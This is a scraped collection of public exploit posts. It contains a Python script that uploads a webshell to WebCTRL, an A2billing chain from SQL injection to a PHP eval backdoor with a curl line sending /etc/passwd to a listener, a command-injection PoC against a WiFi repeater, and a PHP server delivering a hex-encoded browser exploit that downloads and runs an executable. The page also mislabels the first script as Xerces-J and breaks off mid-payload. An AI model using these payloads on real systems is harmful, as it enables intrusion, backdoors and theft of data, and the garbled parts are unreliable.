# Xerces-J 2.6.1 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2017-5431 # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5431.php # # ICS-CERT: https://ics-cert.us-cert.gov/advisories/ICSA-17-234-01 # CVE ID: CVE-2017-9650 # CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9650 # # # 30.01.2017 # # import itertools import mimetools import mimetypes import cookielib import binascii import urllib2 import urllib import sys import re import os from urllib2 import URLError global bindata __author__ = 'lqwrm' piton = os.path.basename(sys.argv[0]) def bannerche(): print ''' @[email protected] | | | WebCTRL 6.5 Authenticated RCE PoC | | ID: ZSL-2017-5431 | | Copyleft (c) 2017, Zero Science Lab | | | @[email protected] ''' if len(sys.argv) < 3: print '[+] Usage: '+piton+' <IP> <WAR FILE>' print '[+] Example: '+piton+' 10.0.0.17 webshell.war\n' sys.exit() bannerche() host = sys.argv[1] filename = sys.argv[2] with open(filename, 'rb') as f: content = f.read() hexo = binascii.hexlify(content) bindata = binascii.unhexlify(hexo) cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) urllib2.install_opener(opener) print '[+] Probing target http://'+host try: checkhost = opener.open('http://'+host+'/index.jsp?operatorlocale=en') except urllib2.HTTPError, errorzio: if errorzio.code == 404: print '[!] Error 001:' print '[-] Check your target!' print sys.exit() except URLError, errorziocvaj: if errorziocvaj.reason: print '[!] Error 002:' print '[-] Check your target!' print sys.exit() print '[+] Target seems OK.' print '[+] Login please:' print ''' Default username: Administrator, Anonymous Default password: (blank), (blank) ''' username = raw_input('[*] Enter username: ') password = raw_input('[*] Enter password: ') login_data = urllib.urlencode({'pass':password, 'name':username, 'touchscr':'false'}) opener.addheaders = [('User-agent', 'Thrizilla/33.9')] login = opener.open('http://'+host+'/?language=en', login_data) auth = login.read() if re.search(r'productName = \'WebCTRL', auth): print '[+] Authenticated!' token = re.search('wbs=(.+?)&', auth).group(1) print '[+] Got wbs token: '+token cookie1, cookie2 = [str(c) for c in cj] cookie = cookie1[8:51] print '[+] Got cookie: '+cookie else: print '[-] Incorrect username or password.' print sys.exit() print '[+] Sending payload.' class MultiPartForm(object): def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): self.form_fields.append((name, value)) return def add_file(self, fieldname, filename, fileHandle, mimetype=None): body = fileHandle.read() if mimetype is None: mimetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream' self.files.append((fieldname, filename, mimetype, body)) return def __str__(self): parts = [] part_boundary = '--' + self.boundary parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) parts.extend( [ part_boundary, 'Content-Disposition: file; name="%s"; filename="%s"' % \ (field_name, filename), 'Content-Type: %s' % content_type, '', body, ] for field_name, filename, content_type, body in self.files ) flattened = list(itertools.chain(*parts)) flattened.append('--' + self.boundary + '--') flattened.append('') return '\r\n'.join(flattened) if __name__ == '__main__': form = MultiPartForm() form.add_field('wbs', token) form.add_field('file"; filename="'+filename, bindata) request = urllib2.Request('http://'+host+'/_common/servlet/lvl5/uploadwarfile') request.add_header('User-agent', 'SCADA/8.0') body = str(form) request.add_header('Content-type', form.get_content_type()) request.add_header('Cookie', cookie) request.add_header('Content-length', len(body)) request.add_data(body) request.get_data() urllib2.urlopen(request).read() print '[+] Payload uploaded.' print '[+] Shell available at: http://'+host+'/'+filename[:-4] print sys.exit()
  6. # Title : A2billing 2.x , Unauthenticated Backup dump / RCE flaw # Vulnerable software : A2billing 2.x # Author : Ahmed Sultan (0x4148) # Email : [email protected] # Home : 0x4148.com # Linkedin : https://www.linkedin.com/in/0x4148/ A2billing contain multiple flaws which can be chained together to achieve shell access over the a2b instance If you're looking for deep technical stuff , check out the full writeup at https://0x4148.com/2016/10/28/a2billing-rce/ 1 . backup dump Vulnerable code File : admin/public/form_data/FG_var_backup.inc getpost_ifset(array('name','path','creationdate')); $HD_Form = new FormHandler("cc_backup","Backup"); $HD_Form -> FG_DEBUG = 0; if ($form_action!='ask-add') check_demo_mode(); if ($form_action == 'add'){ $backup_file = $path; if (substr($backup_file,-3)=='.gz'){ // WE NEED TO GZIP $backup_file = substr($backup_file,0,-3); $do_gzip=1; } // Make the backup stuff here and redirect to success page //mysqldump -all --databases mya2billing -ua2billinguser -pa2billing > /tmp/test.sql //pg_dump -c -d -U a2billinguser -h localhost -f /tmp/test.sql mya2billing if (DB_TYPE != 'postgres'){ $run_backup=MYSQLDUMP." -all --databases ".DBNAME." -u'".USER."' -p'".PASS."' > '{$backup_file}'"; }else{ $env_var="PGPASSWORD='".PASS."'"; putenv($env_var); $run_backup=PG_DUMP." -c -d -U ".USER." -h ".HOST." -f '{$backup_file}' ".DBNAME; } if ($FG_DEBUG == 1 ) echo $run_backup."<br>"; >>>> exec($run_backup,$output,$error); if ($do_gzip){ // Compress file $run_gzip = GZIP_EXE." '$backup_file'"; if ($FG_DEBUG == 1 ) echo $run_gzip."<br>"; >>>> exec($run_gzip,$output,$error_zip); } File is being called at "admin/Public/A2B_entity_backup.php" before the authentication checking proccess take place so to dump full backup we can just move to : http://HOST//a2billing/admin/Public/A2B_entity_backup.php?form_action=add&path=0x4148.sql backup will be found at admin/Public/0x4148.sql few hardening is being carried out by the application which did great job preventing direct RCE flaw , so we had to figure out sth else 2 . SQL injection File name : ckeckout_process.php Line 287 : $Query = "INSERT INTO cc_payments_agent ( agent_id, agent_name, agent_email_address, item_name, item_id, item_quantity, payment_method, cc_type, cc_owner, cc_number, " . " cc_expires, orders_status, last_modified, date_purchased, orders_date_finished, orders_amount, currency, currency_value) values (" . " '".$transaction_data[0][1]."', '".$customer_info[3]." ".$customer_info[2]."', '".$customer_info["email"]."', 'balance', '". $customer_info[0]."', 1, '$pmodule', '".$_SESSION["p_cardtype"]."', '".$transaction_data[0][5]."', '".$transaction_data[0][6]."', '". $transaction_data[0][7]."', $orderStatus, '".$nowDate."', '".$nowDate."', '".$nowDate."', ".$amount_paid.", '".$currCurrency."', '". $currencyObject->get_value($currCurrency)."' )"; $result = $DBHandle_max -> Execute($Query); By exploiting this flaw we can insert malicious data into the db using the following query <thanks to i-Hmx for the great hint> transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,0x3c3f706870206576616c286261736536345f6465636f646528245f504f53545b6e61696c69745d29293b203f3e,7,8,9,10,11,12,13-//**- -&sess_id=4148&key=98346a2b29c131c78dc89b50894176eb After sending this request the following payload "<?php eval(base64_decode($_POST[nailit])); ?>" will be injected directly into the DB 3 . RCE after injecting the malicious code we can just dump backup again but this time we will name it "0x4148.php" , so our code can be executed :) [[email protected] Public]# curl ' https://127.0.0.1/a2billing/admin/Public/A2B_entity_backup.php?form_action=add&path=0x4148.php' --insecure [[email protected] Public]# cat 0x4148.php | grep nailit INSERT INTO `cc_payments_agent` VALUES (295,2,' ','','balance','',1,'plugnpay','','66666666666666666666666666666666666666666666','77777777777777777777777777777777','8',-1,'3.000000','2016-10-28 10:57:10','2016-10-28 10:57:10','2016-10-28 10:57:10','usd','0.000000'),(296,2,' ','','balance','',1,'plugnpay','','<?php eval(base64_decode($_POST[nailit])); ?>','7','8',-1,'3.000000','2016-10-28 10:58:22','2016-10-28 10:58:22','2016-10-28 10:58:22','usd','0.000000'); Now just exploit it via post nailit=base64_encoded php code to admin/Public/0x4148.php for instance system(‘x=$(cat /etc/passwd);curl -d “$x” http://x.x.x.x:8000/0x4148.jnk’); will read /etc/passwd and send it to our nc listener Exploit timeline : 01/10/2016 : vulnerability reported to vendor 06/10/2016 - 12/2016 : talks talks talks with promises of fixing ASAP 04/09/2017 : Public release Credits, Ahmed Sultan - Cyber Security Analyst @ EG-CERT
  7. Hacking

    # Exploit Title: WIFI Repeater BE126 – Remote Code Execution # Date Publish: 09/09/2017 # Exploit Authors: Hay Mizrachi, Omer Kaspi # Contact: [email protected], [email protected] # Vendor Homepage: http://www.twsz.com # Category: Webapps # Version: 1.0 # Tested on: Windows/Ubuntu 16.04 # CVE: CVE-2017-13713 1 - Description: HTTP POST request that contains user parmater which can give us to run Remote Code Execution to the device. The parameter is not sanitized at all, which cause him to be vulnerable. 2 - Proof of Concept: curl -d "name=HTTP&url="http://www.test.com&user=;echo hacked!! > /var/mycode;&password=a&port=8&dir=a" --cookie "Cookie: sessionsid=XXXXX; auth=ok expires=Sun, 15-May-2112 01:45:46 GMT; langmanulset=yes; sys_UserName=admin; expires=Mon, 31-Jan-2112 16:00:00 GMT; language=en_us" -X POST http://beconnected.client/cgi-bin/webupg 3 - Timeline: 29/4/2017 – Vulnerability Discovered. 29/4/2017 - Vendor not responding. 03/09/2017 – Exploit published.
  8. Hacking

    #!/usr/bin/php <?php ########################################################## # Author : Ehsan Noreddini # E-Mail : [email protected] # Social : @prot3ct0r # Title : The World Browser Remote Code Execution # TheWorld Browser is a tiny, fast and powerful web Browser. It is completely free. There is no function limitation. # Version : 3.0 Final # Date : 22 October 2015 # CVE : CVE2014-6332 # Tested on : Windows7 # Download : http://theworld.cn/twen/download.html # Website : http://theworld.cn ########################################################## # 1. run php code : php exploit.php # 2. get the output address and open it in browser ! ########################################################## # shot : http://ehsann.info/proof/The_World_Browser_R_C_E.png # Original Code : http://ehsann.info/exploit/4.txt ########################################################## print "TheWorld Browser Remote Code Execution Exploit \r\n"; $port=80; # Port Address $link="http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe"; # Your malicious file $socket = socket_create(AF_INET, SOCK_STREAM, 0) or die('Failed to create socket!'); socket_bind($socket, 0,$port); socket_listen($socket); # MS14-064 $msgd = "\x3C\x68\x74\x6D\x6C\x3E\x0D\x0A\x3C\x6D\x65\x74\x61\x20\x68\x74\x74\x70\x2D\x65\x71\x75\x69\x76\x3D\x22\x58\x2D\x55\x41\x2D\x43\x6F\x6D\x70\x61\x74\x69\x62\x6C\x65\x22\x20\x63\x6F\x6E\x74\x65\x6E\x74\x3D\x22\x49\x45\x3D\x45\x6D\x75\x6C\x61\x74\x65\x49\x45\x38\x22\x20\x3E\x0D\x0A\x3C\x68\x65\x61\x64\x3E\x0D\x0A\x3C\x2F\x68\x65\x61\x64\x3E\x0D\x0A\x3C\x62\x6F\x64\x79\x3E\x0D\x0A\x20\x0D\x0A\x3C\x53\x43\x52\x49\x50\x54\x20\x4C\x41\x4E\x47\x55\x41\x47\x45\x3D\x22\x56\x42\x53\x63\x72\x69\x70\x74\x22\x3E\x0D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x72\x75\x6E\x6D\x75\x6D\x61\x61\x28\x29\x20\x0D\x0A\x4F\x6E\x20\x45\x72\x72\x6F\x72\x20\x52\x65\x73\x75\x6D\x65\x20\x4E\x65\x78\x74\x0D\x0A\x73\x65\x74\x20\x73\x68\x65\x6C\x6C\x3D\x63\x72\x65\x61\x74\x65\x6F\x62\x6A\x65\x63\x74\x28\x22\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x22\x29\x0D\x0A\x63\x6F\x6D\x6D\x61\x6E\x64\x3D\x22\x49\x6E\x76\x6F\x6B\x65\x2D\x45\x78\x70\x72\x65\x73\x73\x69\x6F\x6E\x20\x24\x28\x4E\x65\x77\x2D\x4F\x62\x6A\x65\x63\x74\x20\x53\x79\x73\x74\x65\x6D\x2E\x4E\x65\x74\x2E\x57\x65\x62\x43\x6C\x69\x65\x6E\x74\x29\x2E\x44\x6F\x77\x6E\x6C\x6F\x61\x64\x46\x69\x6C\x65\x28\x27\x44\x4F\x57\x4E\x4C\x4F\x41\x44\x27\x2C\x27\x6C\x6F\x61\x64\x2E\x65\x78\x65\x27\x29\x3B\x24\x28\x4E\x65\x77\x2D\x4F\x62\x6A\x65\x63\x74\x20\x2D\x63\x6F\x6D\x20\x53\x68\x65\x6C\x6C\x2E\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x29\x2E\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x28\x27\x6C\x6F\x61\x64\x2E\x65\x78\x65\x27\x29\x3B\x22\x0D\x0A\x73\x68\x65\x6C\x6C\x2E\x53\x68\x65\x6C\x6C\x45\x78\x65\x63\x75\x74\x65\x20\x22\x70\x6F\x77\x65\x72\x73\x68\x65\x6C\x6C\x2E\x65\x78\x65\x22\x2C\x20\x22\x2D\x43\x6F\x6D\x6D\x61\x6E\x64\x20\x22\x20\x26\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x2C\x20\x22\x22\x2C\x20\x22\x72\x75\x6E\x61\x73\x22\x2C\x20\x30\x0D\x0A\x65\x6E\x64\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x0D\x0A\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E\x0D\x0A\x20\x0D\x0A\x3C\x53\x43\x52\x49\x50\x54\x20\x4C\x41\x4E\x47\x55\x41\x47\x45\x3D\x22\x56\x42\x53\x63\x72\x69\x70\x74\x22\x3E\x0D\x0A\x20\x20\x0D\x0A\x64\x69\x6D\x20\x20\x20\x61\x61\x28\x29\x0D\x0A\x64\x69\x6D\x20\x20\x20\x61\x62\x28\x29\x0D\x0A\x64\x69\x6D\x20\x20\x20\x61\x30\x0D\x0A\x64\x69\x6D\x20\x20\x20\x61\x31\x0D\x0A\x64\x69\x6D\x20\x20\x20\x61\x32\x0D\x0A\x64\x69\x6D\x20\x20\x20\x61\x33\x0D\x0A\x64\x69\x6D\x20\x20\x20\x77\x69\x6E\x39\x78\x0D\x0A\x64\x69\x6D\x20\x20\x20\x69\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x0D\x0A\x64\x69\x6D\x20\x20\x20\x72\x6E\x64\x61\x0D\x0A\x64\x69\x6D\x20\x20\x20\x66\x75\x6E\x63\x6C\x61\x73\x73\x0D\x0A\x64\x69\x6D\x20\x20\x20\x6D\x79\x61\x72\x72\x61\x79\x0D\x0A\x20\x0D\x0A\x42\x65\x67\x69\x6E\x28\x29\x0D\x0A\x20\x0D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x42\x65\x67\x69\x6E\x28\x29\x0D\x0A\x20\x20\x4F\x6E\x20\x45\x72\x72\x6F\x72\x20\x52\x65\x73\x75\x6D\x65\x20\x4E\x65\x78\x74\x0D\x0A\x20\x20\x69\x6E\x66\x6F\x3D\x4E\x61\x76\x69\x67\x61\x74\x6F\x72\x2E\x55\x73\x65\x72\x41\x67\x65\x6E\x74\x0D\x0A\x20\x0D\x0A\x20\x20\x69\x66\x28\x69\x6E\x73\x74\x72\x28\x69\x6E\x66\x6F\x2C\x22\x57\x69\x6E\x36\x34\x22\x29\x3E\x30\x29\x20\x20\x20\x74\x68\x65\x6E\x0D\x0A\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x0D\x0A\x20\x20\x65\x6E\x64\x20\x69\x66\x0D\x0A\x20\x0D\x0A\x20\x20\x69\x66\x20\x28\x69\x6E\x73\x74\x72\x28\x69\x6E\x66\x6F\x2C\x22\x4D\x53\x49\x45\x22\x29\x3E\x30\x29\x20\x20\x20\x74\x68\x65\x6E\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x20\x3D\x20\x43\x49\x6E\x74\x28\x4D\x69\x64\x28\x69\x6E\x66\x6F\x2C\x20\x49\x6E\x53\x74\x72\x28\x69\x6E\x66\x6F\x2C\x20\x22\x4D\x53\x49\x45\x22\x29\x20\x2B\x20\x35\x2C\x20\x32\x29\x29\x20\x20\x20\x0D\x0A\x20\x20\x65\x6C\x73\x65\x0D\x0A\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x65\x6E\x64\x20\x69\x66\x0D\x0A\x20\x0D\x0A\x20\x20\x77\x69\x6E\x39\x78\x3D\x30\x0D\x0A\x20\x0D\x0A\x20\x20\x42\x65\x67\x69\x6E\x49\x6E\x69\x74\x28\x29\x0D\x0A\x20\x20\x49\x66\x20\x43\x72\x65\x61\x74\x65\x28\x29\x3D\x54\x72\x75\x65\x20\x54\x68\x65\x6E\x0D\x0A\x20\x20\x20\x20\x20\x6D\x79\x61\x72\x72\x61\x79\x3D\x20\x20\x20\x20\x20\x20\x20\x20\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68\x72\x77\x28\x32\x31\x37\x36\x29\x26\x63\x68\x72\x77\x28\x30\x31\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x0D\x0A\x20\x20\x20\x20\x20\x6D\x79\x61\x72\x72\x61\x79\x3D\x6D\x79\x61\x72\x72\x61\x79\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x33\x32\x37\x36\x37\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x29\x0D\x0A\x20\x0D\x0A\x20\x20\x20\x20\x20\x69\x66\x28\x69\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3C\x34\x29\x20\x74\x68\x65\x6E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x77\x72\x69\x74\x65\x28\x22\x3C\x62\x72\x3E\x20\x49\x45\x22\x29\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x77\x72\x69\x74\x65\x28\x69\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x29\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x75\x6E\x73\x68\x65\x6C\x6C\x63\x6F\x64\x65\x28\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x65\x6C\x73\x65\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x73\x65\x74\x6E\x6F\x74\x73\x61\x66\x65\x6D\x6F\x64\x65\x28\x29\x0D\x0A\x20\x20\x20\x20\x20\x65\x6E\x64\x20\x69\x66\x0D\x0A\x20\x20\x65\x6E\x64\x20\x69\x66\x0D\x0A\x65\x6E\x64\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x0D\x0A\x20\x0D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x42\x65\x67\x69\x6E\x49\x6E\x69\x74\x28\x29\x0D\x0A\x20\x20\x20\x52\x61\x6E\x64\x6F\x6D\x69\x7A\x65\x28\x29\x0D\x0A\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x61\x61\x28\x35\x29\x0D\x0A\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x61\x62\x28\x35\x29\x0D\x0A\x20\x20\x20\x61\x30\x3D\x31\x33\x2B\x31\x37\x2A\x72\x6E\x64\x28\x36\x29\x0D\x0A\x20\x20\x20\x61\x33\x3D\x37\x2B\x33\x2A\x72\x6E\x64\x28\x35\x29\x0D\x0A\x65\x6E\x64\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x0D\x0A\x20\x0D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x43\x72\x65\x61\x74\x65\x28\x29\x0D\x0A\x20\x20\x4F\x6E\x20\x45\x72\x72\x6F\x72\x20\x52\x65\x73\x75\x6D\x65\x20\x4E\x65\x78\x74\x0D\x0A\x20\x20\x64\x69\x6D\x20\x69\x0D\x0A\x20\x20\x43\x72\x65\x61\x74\x65\x3D\x46\x61\x6C\x73\x65\x0D\x0A\x20\x20\x46\x6F\x72\x20\x69\x20\x3D\x20\x30\x20\x54\x6F\x20\x34\x30\x30\x0D\x0A\x20\x20\x20\x20\x49\x66\x20\x4F\x76\x65\x72\x28\x29\x3D\x54\x72\x75\x65\x20\x54\x68\x65\x6E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x43\x72\x65\x61\x74\x65\x3D\x54\x72\x75\x65\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x45\x78\x69\x74\x20\x46\x6F\x72\x0D\x0A\x20\x20\x20\x20\x45\x6E\x64\x20\x49\x66\x20\x0D\x0A\x20\x20\x4E\x65\x78\x74\x0D\x0A\x65\x6E\x64\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x0D\x0A\x20\x0D\x0A\x73\x75\x62\x20\x74\x65\x73\x74\x61\x61\x28\x29\x0D\x0A\x65\x6E\x64\x20\x73\x75\x62\x0D\x0A\x20\x0D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x6D\x79\x64\x61\x74\x61\x28\x29\x0D\x0A\x20\x20\x20\x20\x4F\x6E\x20\x45\x72\x72\x6F\x72\x20\x52\x65\x73\x75\x6D\x65\x20\x4E\x65\x78\x74\x0D\x0A\x20\x20\x20\x20\x20\x69\x3D\x74\x65\x73\x74\x61\x61\x0D\x0A\x20\x20\x20\x20\x20\x69\x3D\x6E\x75\x6C\x6C\x0D\x0A\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x20\x20\x0D\x0A\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3D\x30\x0D\x0A\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3D\x69\x0D\x0A\x20\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3D\x36\x2E\x33\x36\x35\x39\x38\x37\x33\x37\x34\x33\x37\x38\x30\x31\x45\x2D\x33\x31\x34\x0D\x0A\x20\x0D\x0A\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x2B\x32\x29\x3D\x6D\x79\x61\x72\x72\x61\x79\x0D\x0A\x20\x20\x20\x20\x20\x61\x62\x28\x32\x29\x3D\x31\x2E\x37\x34\x30\x38\x38\x35\x33\x34\x37\x33\x31\x33\x32\x34\x45\x2D\x33\x31\x30\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x6D\x79\x64\x61\x74\x61\x3D\x61\x61\x28\x61\x31\x29\x0D\x0A\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x20\x0D\x0A\x65\x6E\x64\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x0D\x0A\x20\x0D\x0A\x20\x0D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x73\x65\x74\x6E\x6F\x74\x73\x61\x66\x65\x6D\x6F\x64\x65\x28\x29\x0D\x0A\x20\x20\x20\x20\x4F\x6E\x20\x45\x72\x72\x6F\x72\x20\x52\x65\x73\x75\x6D\x65\x20\x4E\x65\x78\x74\x0D\x0A\x20\x20\x20\x20\x69\x3D\x6D\x79\x64\x61\x74\x61\x28\x29\x20\x20\x0D\x0A\x20\x20\x20\x20\x69\x3D\x72\x75\x6D\x28\x69\x2B\x38\x29\x0D\x0A\x20\x20\x20\x20\x69\x3D\x72\x75\x6D\x28\x69\x2B\x31\x36\x29\x0D\x0A\x20\x20\x20\x20\x6A\x3D\x72\x75\x6D\x28\x69\x2B\x26\x68\x31\x33\x34\x29\x20\x20\x0D\x0A\x20\x20\x20\x20\x66\x6F\x72\x20\x6B\x3D\x30\x20\x74\x6F\x20\x26\x68\x36\x30\x20\x73\x74\x65\x70\x20\x34\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6A\x3D\x72\x75\x6D\x28\x69\x2B\x26\x68\x31\x32\x30\x2B\x6B\x29\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x6A\x3D\x31\x34\x29\x20\x74\x68\x65\x6E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6A\x3D\x30\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x2B\x32\x29\x28\x69\x2B\x26\x68\x31\x31\x63\x2B\x6B\x29\x3D\x61\x62\x28\x34\x29\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x20\x0D\x0A\x20\x0D\x0A\x20\x20\x20\x20\x20\x6A\x3D\x30\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6A\x3D\x72\x75\x6D\x28\x69\x2B\x26\x68\x31\x32\x30\x2B\x6B\x29\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x45\x78\x69\x74\x20\x66\x6F\x72\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6E\x64\x20\x69\x66\x0D\x0A\x20\x0D\x0A\x20\x20\x20\x20\x6E\x65\x78\x74\x20\x0D\x0A\x20\x20\x20\x20\x61\x62\x28\x32\x29\x3D\x31\x2E\x36\x39\x37\x35\x39\x36\x36\x33\x33\x31\x36\x37\x34\x37\x45\x2D\x33\x31\x33\x0D\x0A\x20\x20\x20\x20\x72\x75\x6E\x6D\x75\x6D\x61\x61\x28\x29\x20\x0D\x0A\x65\x6E\x64\x20\x66\x75\x6E\x63\x74\x69\x6F\x6E\x0D\x0A\x20\x0D\x0A\x66\x75\x6E\x63\x74\x69\x6F\x6E\x20\x4F\x76\x65\x72\x28\x29\x0D\x0A\x20\x20\x20\x20\x4F\x6E\x20\x45\x72\x72\x6F\x72\x20\x52\x65\x73\x75\x6D\x65\x20\x4E\x65\x78\x74\x0D\x0A\x20\x20\x20\x20\x64\x69\x6D\x20\x74\x79\x70\x65\x31\x2C\x74\x79\x70\x65\x32\x2C\x74\x79\x70\x65\x33\x0D\x0A\x20\x20\x20\x20\x4F\x76\x65\x72\x3D\x46\x61\x6C\x73\x65\x0D\x0A\x20\x20\x20\x20\x61\x30\x3D\x61\x30\x2B\x61\x33\x0D\x0A\x20\x20\x20\x20\x61\x31\x3D\x61\x30\x2B\x32\x0D\x0A\x20\x20\x20\x20\x61\x32\x3D\x61\x30\x2B\x26\x68\x38\x30\x30\x30\x30\x30\x30\x0D\x0A\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x0D\x0A\x20\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x20\x20\x61\x62\x28\x61\x30\x29\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x72\x65\x64\x69\x6D\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x0D\x0A\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x74\x79\x70\x65\x31\x3D\x31\x0D\x0A\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3D\x31\x2E\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0D\x0A\x20\x20\x20\x20\x61\x61\x28\x61\x30\x29\x3D\x31\x30\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x49\x66\x28\x49\x73\x4F\x62\x6A\x65\x63\x74\x28\x61\x61\x28\x61\x31\x2D\x31\x29\x29\x20\x3D\x20\x46\x61\x6C\x73\x65\x29\x20\x54\x68\x65\x6E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x69\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3C\x34\x29\x20\x74\x68\x65\x6E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6D\x65\x6D\x3D\x63\x69\x6E\x74\x28\x61\x30\x2B\x31\x29\x2A\x31\x36\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6A\x3D\x76\x61\x72\x74\x79\x70\x65\x28\x61\x61\x28\x61\x31\x2D\x31\x29\x29\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x28\x6A\x3D\x6D\x65\x6D\x2B\x34\x29\